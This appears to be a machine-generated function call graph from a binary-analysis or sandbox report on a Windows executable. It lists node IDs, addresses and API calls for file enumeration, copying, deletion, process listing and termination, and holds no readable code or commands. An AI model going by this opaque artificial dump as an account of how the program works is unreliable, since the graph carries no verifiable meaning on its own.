90e3b1 FindFirstFileW 99182->99184 99183->98793 99184->99183 99185 90e3c2 FindClose 99184->99185 99185->99183 99186->99165 99187->99165 99188->99164 99189->99168 99216 8e22f0 99190->99216 99194 90e7b8 99194->98801 99194->98805 99196 8ac93e 99195->99196 99197 8ac945 99195->99197 99196->99197 99244 8c6661 39 API calls _strftime 99196->99244 99197->98800 99199 8ac988 99199->98800 99201 8e22f0 __wsopen_s 99200->99201 99202 8a558b GetFullPathNameW 99201->99202 99203 8a55aa 99202->99203 99204 8a55c5 99202->99204 99205 8a84b7 8 API calls 99203->99205 99249 8abceb 99204->99249 99207 8a55b6 99205->99207 99245 8a79ed 99207->99245 99211 8a7a9e 99210->99211 99212 8a7a65 99210->99212 99213 8a7a78 99211->99213 99214 8abe6d 8 API calls 99211->99214 99215 8c016b 8 API calls 99212->99215 99213->98806 99214->99213 99215->99213 99217 8e2304 GetShortPathNameW 99216->99217 99218 8a84b7 99217->99218 99219 8e65bb 99218->99219 99220 8a84c7 _wcslen 99218->99220 99234 8a96d9 99219->99234 99223 8a84dd 99220->99223 99224 8a8502 99220->99224 99222 8e65c4 99222->99222 99230 8a8894 99223->99230 99226 8c016b 8 API calls 99224->99226 99227 8a850e 99226->99227 99228 8c019b 8 API calls 99227->99228 99229 8a84e5 __fread_nolock 99228->99229 99229->99194 99231 8a88ac 99230->99231 99233 8a88a6 99230->99233 99232 8c019b 8 API calls 99231->99232 99232->99233 99233->99229 99235 8a96e7 99234->99235 99237 8a96f0 __fread_nolock 99234->99237 99235->99237 99238 8ac269 99235->99238 99237->99222 99239 8ac27c 99238->99239 99243 8ac279 __fread_nolock 99238->99243 99240 8c016b 8 API calls 99239->99240 99241 8ac287 99240->99241 99242 8c019b 8 API calls 99241->99242 99242->99243 99243->99237 99244->99199 99246 8a79fb 99245->99246 99247 8a96d9 8 API calls 99246->99247 99248 8a55c2 99247->99248 99248->98797 99250 8abd05 99249->99250 99254 8abcf8 99249->99254 99251 8c016b 8 API calls 99250->99251 99252 8abd0f 99251->99252 99253 8c019b 8 API calls 99252->99253 99253->99254 99254->99207 99256 8a79ed 8 API calls 99255->99256 99257 90dab6 GetFileAttributesW 99256->99257 99258 90daca GetLastError 99257->99258 99261 90dae3 99257->99261 99259 90dad7 CreateDirectoryW 99258->99259 99260 90dae5 99258->99260 99259->99260 99259->99261 99260->99261 99262 8a96d9 8 API calls 99260->99262 99261->98811 99263 90db27 99262->99263 99264 90da81 8 API calls 99263->99264 99265 90db30 99264->99265 99265->99261 99266 90db34 CreateDirectoryW 99265->99266 99266->99261 99268 8c019b 8 API calls 99267->99268 99269 8abf1c 99268->99269 99270 8c016b 8 API calls 99269->99270 99271 8abf2a 99270->99271 99271->98815 99273 8c016b 8 API calls 99272->99273 99274 8a41b8 99273->99274 99274->98819 99276 8e587b 99275->99276 99277 8a6ac6 99275->99277 99278 8e588c 99276->99278 99279 8a84b7 8 API calls 99276->99279 99282 8c016b 8 API calls 99277->99282 99280 8abceb 8 API calls 99278->99280 99279->99278 99281 8e5896 99280->99281 99281->99281 99283 8a6ad9 99282->99283 99284 8a6ae2 99283->99284 99285 8a6af4 99283->99285 99286 8ab25f 8 API calls 99284->99286 99287 8abf07 8 API calls 99285->99287 99288 8a6aea 99286->99288 99287->99288 99288->98830 99290 8a6e69 CreateFileW 99289->99290 99291 8e5985 99289->99291 99292 8a6e88 99290->99292 99291->99292 99293 8e598b CreateFileW 99291->99293 99292->98880 99292->98886 99293->99292 99294 8e59b3 99293->99294 99345 8a6bfa 99294->99345 99298 8a6b27 99297->99298 99311 8a6b24 ISource 99297->99311 99299 8a6bfa 3 API calls 99298->99299 99298->99311 99300 8a6b44 99299->99300 99301 8e589b 99300->99301 99302 8a6b51 99300->99302 99304 8bfdc9 3 API calls 99301->99304 99303 8c019b 8 API calls 99302->99303 99305 8a6b5d 99303->99305 99304->99311 99306 8a41a6 8 API calls 99305->99306 99307 8a6b67 99306->99307 99351 8ab050 99307->99351 99310 8a6bfa 3 API calls 99310->99311 99311->98890 99313 8a6bfa 3 API calls 99312->99313 99314 8bfde7 99313->99314 99315 8a6bfa 3 API calls 99314->99315 99316 8bfe08 99315->99316 99316->98870 99318 8c019b 8 API calls 99317->99318 99319 8a7a39 99318->99319 99320 8c016b 8 API calls 99319->99320 99321 8a7a47 99320->99321 99322 8bbfbc 99321->99322 99323 8bc003 99322->99323 99324 8bbfc7 99322->99324 99325 8abceb 8 API calls 99323->99325 99324->99323 99326 8bbfd6 99324->99326 99333 90d2ab 99325->99333 99328 8bbfeb 99326->99328 99330 8bbff8 99326->99330 99327 90d2da 99327->98887 99358 8bc009 99328->99358 99365 90d3b2 12 API calls 99330->99365 99333->99327 99366 90d249 99333->99366 99373 8aacc0 8 API calls __fread_nolock 99333->99373 99334 8bbff4 99334->98887 99336->98897 99337->98895 99338->98901 99339->98852 99340->98852 99342 8ab050 2 API calls 99341->99342 99343 8a41da 99342->99343 99343->98885 99344->98892 99349 8a6c11 99345->99349 99346 8e58ec SetFilePointerEx 99347 8a6c98 SetFilePointerEx SetFilePointerEx 99348 8a6c64 99347->99348 99348->99292 99349->99346 99349->99347 99349->99348 99350 8e58db 99349->99350 99350->99346 99352 8ab0cb 99351->99352 99356 8ab05e 99351->99356 99357 8bf13c SetFilePointerEx 99352->99357 99353 8a6b73 99353->99310 99355 8ab09c ReadFile 99355->99353 99355->99356 99356->99353 99356->99355 99357->99356 99374 8bc1f1 99358->99374 99364 8bc03c 99364->99334 99365->99334 99367 90d253 99366->99367 99368 90d26a 99366->99368 99367->99368 99370 90d259 99367->99370 99369 8ab050 2 API calls 99368->99369 99372 90d263 99369->99372 99371 8ab050 2 API calls 99370->99371 99371->99372 99372->99333 99373->99333 99375 8c019b 8 API calls 99374->99375 99376 8bc208 99375->99376 99377 8c016b 8 API calls 99376->99377 99378 8bc021 99377->99378 99379 8aadc1 99378->99379 99393 8bfeaa 99379->99393 99381 8ab050 2 API calls 99384 8aadd2 99381->99384 99382 8aae07 99382->99364 99385 8a8774 MultiByteToWideChar 99382->99385 99384->99381 99384->99382 99400 8ab0e3 8 API calls __fread_nolock 99384->99400 99386 8a87a0 99385->99386 99387 8a87e7 99385->99387 99389 8c019b 8 API calls 99386->99389 99388 8abceb 8 API calls 99387->99388 99392 8a87db 99388->99392 99390 8a87b5 MultiByteToWideChar 99389->99390 99401 8a87f0 99390->99401 99392->99364 99394 8bfebb 99393->99394 99395 8ffe13 99393->99395 99394->99384 99396 8c016b 8 API calls 99395->99396 99397 8ffe1d 99396->99397 99398 8c019b 8 API calls 99397->99398 99399 8ffe32 99398->99399 99400->99384 99402 8a8803 99401->99402 99403 8a8884 99401->99403 99402->99403 99405 8a880f 99402->99405 99404 8a96d9 8 API calls 99403->99404 99410 8a8821 __fread_nolock 99404->99410 99406 8a8819 99405->99406 99407 8a8847 99405->99407 99408 8a8894 8 API calls 99406->99408 99409 8c016b 8 API calls 99407->99409 99408->99410 99411 8a8851 99409->99411 99410->99392 99412 8c019b 8 API calls 99411->99412 99412->99410 99414 8abf07 8 API calls 99413->99414 99415 90db88 99414->99415 99416 8abf07 8 API calls 99415->99416 99417 90db91 99416->99417 99418 8abf07 8 API calls 99417->99418 99419 90db9a 99418->99419 99420 8a557e 9 API calls 99419->99420 99421 90dba5 99420->99421 99422 90e9c5 GetFileAttributesW 99421->99422 99423 90dbae 99422->99423 99424 90dbc0 99423->99424 99426 8a65a4 8 API calls 99423->99426 99438 8a694e 99424->99438 99426->99424 99427 90dbd4 FindFirstFileW 99428 90dc60 FindClose 99427->99428 99434 90dbf3 99427->99434 99433 90dc6b 99428->99433 99429 90dc3b FindNextFileW 99431 90dc4f 99429->99431 99429->99434 99430 8abe6d 8 API calls 99430->99434 99431->99434 99433->98907 99434->99428 99434->99429 99434->99430 99480 8a7af4 99434->99480 99489 8a65a4 99434->99489 99439 8abf07 8 API calls 99438->99439 99440 8a6964 99439->99440 99441 8abf07 8 API calls 99440->99441 99442 8a696c 99441->99442 99443 8abf07 8 API calls 99442->99443 99444 8a6974 99443->99444 99445 8abf07 8 API calls 99444->99445 99446 8a697c 99445->99446 99447 8a69b0 99446->99447 99448 8e5725 99446->99448 99450 8a8685 8 API calls 99447->99450 99449 8abe6d 8 API calls 99448->99449 99451 8e572e 99449->99451 99452 8a69be 99450->99452 99453 8abceb 8 API calls 99451->99453 99454 8a96d9 8 API calls 99452->99454 99456 8a69f3 99453->99456 99455 8a69c8 99454->99455 99455->99456 99457 8a8685 8 API calls 99455->99457 99458 8a6a38 99456->99458 99459 8a6a14 99456->99459 99465 8e5750 99456->99465 99461 8a69e9 99457->99461 99498 8a8685 99458->99498 99459->99458 99511 8a627c 99459->99511 99463 8a96d9 8 API calls 99461->99463 99462 8a6a49 99466 8a6a5f 99462->99466 99472 8abe6d 8 API calls 99462->99472 99463->99456 99469 8a84b7 8 API calls 99465->99469 99467 8a6a73 99466->99467 99473 8abe6d 8 API calls 99466->99473 99470 8a6a7e 99467->99470 99475 8abe6d 8 API calls 99467->99475 99471 8e5810 99469->99471 99476 8abe6d 8 API calls 99470->99476 99479 8a6a89 99470->99479 99471->99458 99477 8a627c 8 API calls 99471->99477 99514 8aacc0 8 API calls __fread_nolock 99471->99514 99472->99466 99473->99467 99474 8a8685 8 API calls 99474->99458 99475->99470 99476->99479 99477->99471 99479->99427 99481 8a7b06 99480->99481 99482 8e63b3 99480->99482 99515 8a7b17 99481->99515 99525 8a662b 8 API calls __fread_nolock 99482->99525 99485 8a7b12 99485->99434 99486 8e63bd 99487 8e63c9 99486->99487 99488 8abe6d 8 API calls 99486->99488 99488->99487 99490 8a65bb 99489->99490 99491 8e5629 99489->99491 99531 8a65cc 99490->99531 99493 8c016b 8 API calls 99491->99493 99495 8e5633 _wcslen 99493->99495 99494 8a65c6 DeleteFileW 99494->99429 99496 8c019b 8 API calls 99495->99496 99497 8e566c __fread_nolock 99496->99497 99499 8a86f1 99498->99499 99500 8a8694 99498->99500 99501 8a96d9 8 API calls 99499->99501 99500->99499 99502 8a869f 99500->99502 99508 8a86c2 __fread_nolock 99501->99508 99503 8a86ba 99502->99503 99504 8e66b7 99502->99504 99506 8a8894 8 API calls 99503->99506 99505 8c016b 8 API calls 99504->99505 99507 8e66c1 99505->99507 99506->99508 99509 8c019b 8 API calls 99507->99509 99508->99462 99510 8e66f4 99509->99510 99512 8ac269 8 API calls 99511->99512 99513 8a6287 99512->99513 99513->99458 99513->99474 99514->99471 99516 8a7b26 99515->99516 99522 8a7b5a __fread_nolock 99515->99522 99517 8e63e4 99516->99517 99518 8a7b4d 99516->99518 99516->99522 99519 8c016b 8 API calls 99517->99519 99526 8a7cb3 99518->99526 99521 8e63f3 99519->99521 99523 8c019b 8 API calls 99521->99523 99522->99485 99525->99486 99527 8a7cc9 99526->99527 99530 8a7cc4 __fread_nolock 99526->99530 99528 8c019b 8 API calls 99527->99528 99529 8e64be 99527->99529 99528->99530 99530->99522 99532 8a65dc _wcslen 99531->99532 99533 8e568b 99532->99533 99534 8a65ef 99532->99534 99535 8c016b 8 API calls 99533->99535 99536 8a7cb3 8 API calls 99534->99536 99537 8e5695 99535->99537 99538 8a65fc __fread_nolock 99536->99538 99539 8c019b 8 API calls 99537->99539 99538->99494 99542 911852 99541->99542 99555 91196b 99541->99555 99543 911872 99542->99543 99544 91189f 99542->99544 99546 9118b6 99542->99546 99543->99544 99549 911886 99543->99549 99545 8c019b 8 API calls 99544->99545 99559 911894 __fread_nolock 99545->99559 99547 8c019b 8 API calls 99546->99547 99556 9118d3 99546->99556 99547->99556 99548 9118fa 99551 8c019b 8 API calls 99548->99551 99550 8c019b 8 API calls 99549->99550 99550->99559 99553 911900 99551->99553 99552 8c016b 8 API calls 99552->99555 99554 8bc1f1 8 API calls 99553->99554 99557 91190c 99554->99557 99555->98914 99556->99548 99556->99549 99556->99559 99560 8bf9e2 10 API calls 99557->99560 99559->99552 99560->99559 99562 8abf07 8 API calls 99561->99562 99563 909b6d 99562->99563 99564 8a7a14 8 API calls 99563->99564 99565 909b81 99564->99565 99566 9096e3 41 API calls 99565->99566 99571 909ba3 99565->99571 99567 909b9d 99566->99567 99569 8a8685 8 API calls 99567->99569 99567->99571 99569->99571 99570 8a8685 8 API calls 99570->99571 99571->99570 99572 909c42 99571->99572 99573 8a7af4 8 API calls 99571->99573 99575 909c26 99571->99575 99580 9096e3 99571->99580 99574 8abe6d 8 API calls 99572->99574 99576 909c51 99572->99576 99573->99571 99574->99576 99577 8a8685 8 API calls 99575->99577 99576->98956 99578 909c36 99577->99578 99579 8a7af4 8 API calls 99578->99579 99579->99572 99581 909703 _wcslen 99580->99581 99582 9097f2 99581->99582 99585 909738 99581->99585 99586 9097f7 99581->99586 99582->99571 99584 8be2e5 41 API calls 99584->99586 99585->99582 99587 8be2e5 99585->99587 99586->99582 99586->99584 99588 8be2f4 CompareStringW 99587->99588 99592 8fe463 99587->99592 99590 8be319 99588->99590 99590->99585 99591 8ce24b 40 API calls 99591->99592 99592->99590 99592->99591 99594 8abceb 8 API calls 99593->99594 99595 92d6bf 99594->99595 99596 8abceb 8 API calls 99595->99596 99597 92d6c7 99596->99597 99598 8abceb 8 API calls 99597->99598 99599 92d6cf 99598->99599 99600 92d737 99599->99600 99601 8a627c 8 API calls 99599->99601 99602 8abceb 8 API calls 99600->99602 99603 92d6e5 99601->99603 99606 92d735 99602->99606 99603->99600 99604 8a627c 8 API calls 99603->99604 99605 92d6f7 99604->99605 99605->99600 99608 92d6fc 99605->99608 99607 8a8685 8 API calls 99606->99607 99610 92d760 99607->99610 99609 8a96d9 8 API calls 99608->99609 99614 92d707 99609->99614 99611 8a8685 8 API calls 99610->99611 99612 92d777 99611->99612 99613 8a79ed 8 API calls 99612->99613 99615 92d780 99613->99615 99616 8a8685 8 API calls 99614->99616 99615->98967 99617 92d728 99616->99617 99618 8a96d9 8 API calls 99617->99618 99618->99606 99620 8ac269 8 API calls 99619->99620 99621 92d30e CharUpperBuffW 99620->99621 99622 92d329 99621->99622 99623 8abf07 8 API calls 99622->99623 99624 92d334 99623->99624 99625 8a8685 8 API calls 99624->99625 99626 92d347 _wcslen 99625->99626 99627 8a79ed 8 API calls 99626->99627 99628 92d3a4 _wcslen 99626->99628 99627->99628 99628->98969 99630 8c4e3b 99629->99630 99631 8c4dc6 99629->99631 99642 8c4e4d 40 API calls 4 library calls 99630->99642 99637 8c4deb 99631->99637 99640 8cf669 20 API calls __dosmaperr 99631->99640 99634 8c4e48 99634->98980 99635 8c4dd2 99641 8d2b7c 26 API calls __fread_nolock 99635->99641 99637->98980 99638 8c4ddd 99638->98980 99640->99635 99641->99638 99642->99634 99644 8a8e70 52 API calls 99643->99644 99645 9288ed 99644->99645 99668 928932 ISource 99645->99668 99681 929632 99645->99681 99647 928bde 99648 928dac 99647->99648 99653 928bec 99647->99653 99748 929843 59 API calls 99648->99748 99651 928dbb 99652 928dc7 99651->99652 99651->99653 99652->99668 99694 9287e3 99653->99694 99654 8a8e70 52 API calls 99671 9289a6 99654->99671 99659 928c25 99708 8c0000 99659->99708 99662 928c45 99747 913ef6 81 API calls __wsopen_s 99662->99747 99663 928c5f 99712 8a7d51 99663->99712 99666 928c50 GetCurrentProcess TerminateProcess 99666->99663 99668->99048 99671->99647 99671->99654 99671->99668 99745 904a0c 8 API calls __fread_nolock 99671->99745 99746 928e7c 41 API calls _strftime 99671->99746 99672 928e22 99672->99668 99676 928e36 FreeLibrary 99672->99676 99673 8b1c50 8 API calls 99674 928c9e 99673->99674 99677 9294da 74 API calls 99674->99677 99676->99668 99679 928caf 99677->99679 99679->99672 99680 8ab3fe 8 API calls 99679->99680 99723 8b1c50 99679->99723 99734 9294da 99679->99734 99680->99679 99682 8ac269 8 API calls 99681->99682 99683 92964d CharLowerBuffW 99682->99683 99684 9096e3 41 API calls 99683->99684 99685 92966e 99684->99685 99687 8abf07 8 API calls 99685->99687 99693 9296a7 _wcslen 99685->99693 99688 929689 99687->99688 99689 8a8685 8 API calls 99688->99689 99690 92969d 99689->99690 99691 8a96d9 8 API calls 99690->99691 99691->99693 99692 9297bd _wcslen 99692->99671 99693->99692 99749 928e7c 41 API calls _strftime 99693->99749 99695 928849 99694->99695 99696 9287fe 99694->99696 99700 9299f5 99695->99700 99697 8c019b 8 API calls 99696->99697 99698 928820 99697->99698 99698->99695 99699 8c016b 8 API calls 99698->99699 99699->99698 99701 929c0a ISource 99700->99701 99707 929a19 _strcat _wcslen ___std_exception_copy 99700->99707 99701->99659 99702 8ac9fb 39 API calls 99702->99707 99703 8ac5df 39 API calls 99703->99707 99704 8ac92d 39 API calls 99704->99707 99705 8a8e70 52 API calls 99705->99707 99707->99701 99707->99702 99707->99703 99707->99704 99707->99705 99750 90f7da 10 API calls _wcslen 99707->99750 99710 8c0015 99708->99710 99709 8c00ad TerminateProcess 99711 8c007b 99709->99711 99710->99709 99710->99711 99711->99662 99711->99663 99713 8a7d59 99712->99713 99714 8c016b 8 API calls 99713->99714 99715 8a7d67 99714->99715 99751 8a8386 99715->99751 99718 8a83b0 99754 8ac700 99718->99754 99720 8c019b 8 API calls 99722 8a845c 99720->99722 99721 8a83c0 99721->99720 99721->99722 99722->99673 99722->99679 99725 8b1c62 99723->99725 99724 8b1d20 99724->99679 99726 8b1c6b 99725->99726 99767 8bb71c 8 API calls 99725->99767 99726->99724 99728 8c016b 8 API calls 99726->99728 99729 8b1d89 99728->99729 99730 8c016b 8 API calls 99729->99730 99731 8b1d92 99730->99731 99732 8ab25f 8 API calls 99731->99732 99733 8b1da1 99732->99733 99733->99679 99735 9294f2 99734->99735 99742 92950e 99734->99742 99736 9295c3 99735->99736 99737 92951a 99735->99737 99738 9294f9 99735->99738 99735->99742 99769 9115b3 72 API calls ISource 99736->99769 99741 8a6ab6 8 API calls 99737->99741 99768 90f3fd 10 API calls _strlen 99738->99768 99741->99742 99742->99679 99743 929503 99744 8a6ab6 8 API calls 99743->99744 99744->99742 99745->99671 99746->99671 99747->99666 99748->99651 99749->99692 99750->99707 99752 8c016b 8 API calls 99751->99752 99753 8a7d6f 99752->99753 99753->99718 99755 8ac70b 99754->99755 99756 8f1228 99755->99756 99761 8ac713 ISource 99755->99761 99757 8c016b 8 API calls 99756->99757 99758 8f1234 99757->99758 99759 8ac71a 99759->99721 99761->99759 99762 8ac780 99761->99762 99764 8ac78b ISource 99762->99764 99763 8ac7c6 ISource 99763->99761 99764->99763 99766 8be29c 8 API calls ISource 99764->99766 99766->99763 99767->99726 99768->99743 99769->99742 99787 8cd6be 99770->99787 99774 91a03a FindClose 99773->99774 99775 919fc9 99773->99775 99776 91a0e2 99774->99776 99777 91a04b FindFirstFileW 99774->99777 99778 91a028 FindNextFileW 99775->99778 99781 919ff7 GetFileAttributesW SetFileAttributesW 99775->99781 99776->99082 99784 91a060 99777->99784 99786 91a0d9 FindClose 99777->99786 99778->99774 99778->99775 99780 91a0c7 FindNextFileW 99780->99784 99780->99786 99781->99775 99782 91a0eb FindClose 99781->99782 99782->99776 99783 91a0a0 SetCurrentDirectoryW 99783->99784 99784->99780 99784->99783 99785 91a0c0 SetCurrentDirectoryW 99784->99785 99784->99786 99785->99780 99786->99776 99788 8cd89f 99787->99788 99789 8cd6d5 99787->99789 99815 8cf669 20 API calls __dosmaperr 99788->99815 99789->99788 99793 8cd740 99789->99793 99791 8cd8af 99816 8d2b7c 26 API calls __fread_nolock 99791->99816 99794 8cd764 99793->99794 99796 8cd78b 99793->99796 99810 8d5153 26 API calls 2 library calls 99793->99810 99809 8cf669 20 API calls __dosmaperr 99794->99809 99796->99794 99803 8cd7fd 99796->99803 99811 8d5153 26 API calls 2 library calls 99796->99811 99798 8cd868 99798->99794 99801 8cd774 99798->99801 99802 8cd87b 99798->99802 99799 8cd820 99799->99794 99800 8cd841 99799->99800 99812 8d5153 26 API calls 2 library calls 99799->99812 99800->99794 99800->99801 99806 8cd857 99800->99806 99801->99066 99814 8d5153 26 API calls 2 library calls 99802->99814 99803->99798 99803->99799 99813 8d5153 26 API calls 2 library calls 99806->99813 99809->99801 99810->99796 99811->99803 99812->99800 99813->99801 99814->99801 99815->99791 99816->99801 99818 8abf07 8 API calls 99817->99818 99819 90d853 99818->99819 99820 8abf07 8 API calls 99819->99820 99821 90d85b 99820->99821 99822 8abf07 8 API calls 99821->99822 99823 90d863 99822->99823 99824 8a557e 9 API calls 99823->99824 99825 90d86d 99824->99825 99826 8a557e 9 API calls 99825->99826 99827 90d877 99826->99827 99863 90e958 99827->99863 99829 90d882 99830 90e9c5 GetFileAttributesW 99829->99830 99831 90d88d 99830->99831 99832 90d89f 99831->99832 99833 8a65a4 8 API calls 99831->99833 99834 90e9c5 GetFileAttributesW 99832->99834 99833->99832 99835 90d8a7 99834->99835 99836 90d8b4 99835->99836 99838 8a65a4 8 API calls 99835->99838 99837 8abf07 8 API calls 99836->99837 99839 90d8bc 99837->99839 99838->99836 99840 8abf07 8 API calls 99839->99840 99841 90d8c4 99840->99841 99842 8a694e 8 API calls 99841->99842 99843 90d8d5 FindFirstFileW 99842->99843 99844 90da23 FindClose 99843->99844 99859 90d8f8 99843->99859 99849 90da21 99844->99849 99845 90d9ef FindNextFileW 99845->99859 99846 8ab25f 8 API calls 99846->99859 99848 8a7af4 8 API calls 99848->99859 99849->99099 99850 8a65a4 8 API calls 99850->99859 99851 90dc8e 4 API calls 99851->99859 99852 90da12 FindClose 99852->99849 99853 90d984 99854 8be2e5 41 API calls 99853->99854 99856 90d9ad MoveFileW 99853->99856 99857 90d99d DeleteFileW 99853->99857 99854->99853 99855 90da5c CopyFileExW 99855->99859 99856->99859 99857->99859 99858 90d9ca DeleteFileW 99858->99859 99859->99844 99859->99845 99859->99846 99859->99848 99859->99850 99859->99851 99859->99852 99859->99853 99859->99855 99859->99858 99874 90df85 99859->99874 99861 90e387 4 API calls 99860->99861 99862 90dc95 99861->99862 99862->99109 99862->99112 99864 8abf07 8 API calls 99863->99864 99865 90e96d 99864->99865 99866 8abf07 8 API calls 99865->99866 99867 90e975 99866->99867 99868 8a694e 8 API calls 99867->99868 99869 90e984 99868->99869 99870 8a694e 8 API calls 99869->99870 99871 90e994 99870->99871 99872 8be2e5 41 API calls 99871->99872 99873 90e9a9 99872->99873 99873->99829 99875 90dfa1 99874->99875 99876 90dfa6 99875->99876 99877 90dfbc 99875->99877 99879 8abe6d 8 API calls 99876->99879 99927 90dfb7 99876->99927 99878 8abf07 8 API calls 99877->99878 99880 90dfc4 99878->99880 99879->99927 99881 8abf07 8 API calls 99880->99881 99882 90dfcc 99881->99882 99927->99859 99940 90e723 99930->99940 99932 90dce9 Process32NextW 99933 90dd9b CloseHandle 99932->99933 99939 90dce2 99932->99939 99933->99121 99934 8abf07 8 API calls 99934->99939 99935 8ab25f 8 API calls 99935->99939 99936 8a694e 8 API calls 99936->99939 99937 8a7af4 8 API calls 99937->99939 99938 8be2e5 41 API calls 99938->99939 99939->99932 99939->99933 99939->99934 99939->99935 99939->99936 99939->99937 99939->99938 99941 90e72e 99940->99941 99942 90e745 99941->99942 99945 90e74b 99941->99945 99946 8c6742 GetStringTypeW _strftime 99941->99946 99947 8c668b 39 API calls _strftime 99942->99947 99945->99939 99946->99941 99947->99945 99948->99123 99949->99126 99950->99130 99951->98736 99952->98738 99953->98742 99954 8b15af 99961 8be34f 99954->99961 99956 8b15c5 99970 8be3b3 99956->99970 99958 8b15ef 99982 913ef6 81 API calls __wsopen_s 99958->99982 99960 8f61ab 99962 8be35d 99961->99962 99963 8be370 99961->99963 99964 8ab3fe 8 API calls 99962->99964 99965 8be3a3 99963->99965 99966 8be375 99963->99966 99969 8be367 99964->99969 99968 8ab3fe 8 API calls 99965->99968 99967 8c016b 8 API calls 99966->99967 99967->99969 99968->99969 99969->99956 99971 8a7a14 8 API calls 99970->99971 99972 8be3ea 99971->99972 99973 8ab25f 8 API calls 99972->99973 99975 8be41b 99972->99975 99974 8fe4e4 99973->99974 99976 8a7af4 8 API calls 99974->99976 99975->99958 99977 8fe4ef 99976->99977 99983 8be73b 39 API calls 99977->99983 99979 8fe502 99980 8ab3fe 8 API calls 99979->99980 99981 8fe506 99979->99981 99980->99981 99982->99960 99983->99979 99984 8af48c 99987 8aca50 99984->99987 99988 8aca6b 99987->99988 99989 8f14af 99988->99989 99990 8f1461 99988->99990 100012 8aca90 99988->100012 100032 9261ff 253 API calls 2 library calls 99989->100032 99993 8f146b 99990->99993 99996 8f1478 99990->99996 99990->100012 100030 926690 253 API calls 99993->100030 100014 8acd60 99996->100014 100031 926b2d 253 API calls 2 library calls 99996->100031 99999 8f1742 99999->99999 100001 8acf30 39 API calls 100001->100012 100004 8acd8e 100005 8f168b 100034 926569 81 API calls 100005->100034 100009 8ab3fe 8 API calls 100009->100012 100012->100001 100012->100004 100012->100005 100012->100009 100013 8be781 39 API calls 100012->100013 100012->100014 100015 8b02f0 253 API calls 100012->100015 100016 8abe6d 8 API calls 100012->100016 100018 8abdc1 100012->100018 100022 8be73b 39 API calls 100012->100022 100023 8baa19 253 API calls 100012->100023 100024 8c05d2 5 API calls __Init_thread_wait 100012->100024 100025 8bbbd2 8 API calls 100012->100025 100026 8c0433 29 API calls __onexit 100012->100026 100027 8c0588 EnterCriticalSection LeaveCriticalSection SetEvent ResetEvent 100012->100027 100028 8bf4ed 81 API calls 100012->100028 100029 8bf354 253 API calls 100012->100029 100033 8fff4f 8 API calls 100012->100033 100013->100012 100014->100004 100035 913ef6 81 API calls __wsopen_s 100014->100035 100015->100012 100016->100012 100019 8abdcc 100018->100019 100020 8abdfb 100019->100020 100036 8abf39 39 API calls 100019->100036 100020->100012 100022->100012 100023->100012 100024->100012 100025->100012 100026->100012 100027->100012 100028->100012 100029->100012 100030->99996 100031->100014 100032->100012 100033->100012 100034->100014 100035->99999 100036->100020 100037 8f1a68 100038 8f1a70 100037->100038 100041 8ad4e5 100037->100041 100083 9079af 8 API calls __fread_nolock 100038->100083 100040 8f1a82 100084 907928 8 API calls __fread_nolock 100040->100084 100044 8c016b 8 API calls 100041->100044 100043 8f1aac 100045 8b02f0 253 API calls 100043->100045 100046 8ad539 100044->100046 100047 8f1ad3 100045->100047 100067 8ac2cd 100046->100067 100049 8f1ae7 100047->100049 100085 9260a2 53 API calls _wcslen 100047->100085 100051 8f1b04 100051->100041 100086 9079af 8 API calls __fread_nolock 100051->100086 100053 8c016b 8 API calls 100060 8ad61e ISource 100053->100060 100056 8abe6d 8 API calls 100056->100060 100057 8ab3fe 8 API calls 100057->100060 100059 8f1f1c 100087 9055d9 8 API calls ISource 100059->100087 100060->100056 100060->100057 100060->100059 100061 8f1f37 100060->100061 100063 8ac34b 8 API calls 100060->100063 100064 8ad8c1 ISource 100060->100064 100063->100060 100065 8ad95c ISource 100064->100065 100074 8ac34b 100064->100074 100066 8ad973 100065->100066 100082 8be284 8 API calls ISource 100065->100082 100071 8ac2dd 100067->100071 100068 8ac2e5 100068->100053 100069 8c016b 8 API calls 100069->100071 100070 8abf07 8 API calls 100070->100071 100071->100068 100071->100069 100071->100070 100072 8abe6d 8 API calls 100071->100072 100073 8ac2cd 8 API calls 100071->100073 100072->100071 100073->100071 100075 8ac359 100074->100075 100076 8ac381 ISource 100074->100076 100077 8ac34b 8 API calls 100075->100077 100078 8ac367 100075->100078 100076->100065 100077->100078 100079 8ac36d 100078->100079 100080 8ac34b 8 API calls 100078->100080 100079->100076 100081 8ac780 8 API calls 100079->100081 100080->100079 100081->100076 100082->100065 100083->100040 100084->100043 100085->100051 100086->100051 100087->100061 100088 8c078b 100089 8c0797 CallCatchBlock 100088->100089 100118 8c0241 100089->100118 100091 8c079e 100092 8c08f1 100091->100092 100095 8c07c8 100091->100095 100159 8c0bcf IsProcessorFeaturePresent IsDebuggerPresent SetUnhandledExceptionFilter UnhandledExceptionFilter ___scrt_fastfail 100092->100159 100094 8c08f8 100152 8c51e2 100094->100152 100106 8c0807 ___scrt_is_nonwritable_in_current_image ___scrt_release_startup_lock 100095->100106 100129 8d280d 100095->100129 100102 8c07e7 100104 8c0868 100137 8c0ce9 100104->100137 100106->100104 100155 8c51aa 38 API calls 3 library calls 100106->100155 100107 8c086e 100141 8a32a2 100107->100141 100112 8c088a 100112->100094 100113 8c088e 100112->100113 100114 8c0897 100113->100114 100157 8c5185 28 API calls _abort 100113->100157 100158 8c03d0 13 API calls 2 library calls 100114->100158 100117 8c089f 100117->100102 100119 8c024a 100118->100119 100161 8c0a28 IsProcessorFeaturePresent 100119->100161 100121 8c0256 100162 8c3024 10 API calls 3 library calls 100121->100162 100123 8c025b 100128 8c025f 100123->100128 100163 8d26a7 100123->100163 100126 8c0276 100126->100091 100128->100091 100131 8d2824 100129->100131 100130 8c0e1c __ehhandler$?_ScheduleContinuationTask@_Task_impl_base@details@Concurrency@@QAEXPAU_ContinuationTaskHandleBase@23@@Z 5 API calls 100132 8c07e1 100130->100132 100131->100130 100132->100102 100133 8d27b1 100132->100133 100135 8d27e0 100133->100135 100134 8c0e1c __ehhandler$?_ScheduleContinuationTask@_Task_impl_base@details@Concurrency@@QAEXPAU_ContinuationTaskHandleBase@23@@Z 5 API calls 100136 8d2809 100134->100136 100135->100134 100136->100106 100238 8c26d0 100137->100238 100140 8c0d0f 100140->100107 100142 8a32ae IsThemeActive 100141->100142 100143 8a3309 100141->100143 100240 8c52d3 100142->100240 100156 8c0d22 GetModuleHandleW 100143->100156 100145 8a32d9 100246 8c5339 100145->100246 100147 8a32e0 100253 8a326d SystemParametersInfoW SystemParametersInfoW 100147->100253 100149 8a32e7 100254 8a3312 100149->100254 101173 8c4f5f 100152->101173 100155->100104 100156->100112 100157->100114 100158->100117 100159->100094 100161->100121 100162->100123 100167 8dd596 